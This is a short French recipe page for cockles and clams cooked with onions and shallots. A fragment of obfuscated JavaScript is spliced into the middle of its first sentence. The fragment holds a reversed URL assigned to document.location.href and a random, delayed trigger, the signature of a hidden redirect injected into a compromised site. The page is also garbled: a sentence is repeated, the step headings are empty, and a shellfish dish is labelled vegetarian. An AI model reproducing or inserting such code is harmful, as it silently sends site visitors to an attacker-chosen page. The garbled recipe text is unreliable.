Coques et palourdes
2021-05-07- Thématique : Végétarien
- Niveau : Facile
Grattez, rincez sous le robinet d’eau froide les coques et les palourdes, puis faites les tremper tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toute une nuit dans une grande quantité d’eau froide.
Ingrédients
Grattez, rincez sous le robinet d'eau froide les coques et les palourdes, puis faites les tremper toute une nuit dans une grande quantité d'eau froide. Pelez les oignons et les échalotes, hachez-les finement. Dans une cocotte avec une cuillerée à soupe d'huile d'arachide sur feu moyen faites fondre les oignons et les échalotes, poivrez tout en remuant.
Activez le feu et incorporez les coquillages bien mélangé pour les enrober d'hachis d'oignons et d'échalotes pendant quelques minutes à couvert. Les coquillages ouverts. Servez dans des assiettes creuses avec des rondelles de citrons, parsemez de ciboulette. Dégustez.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
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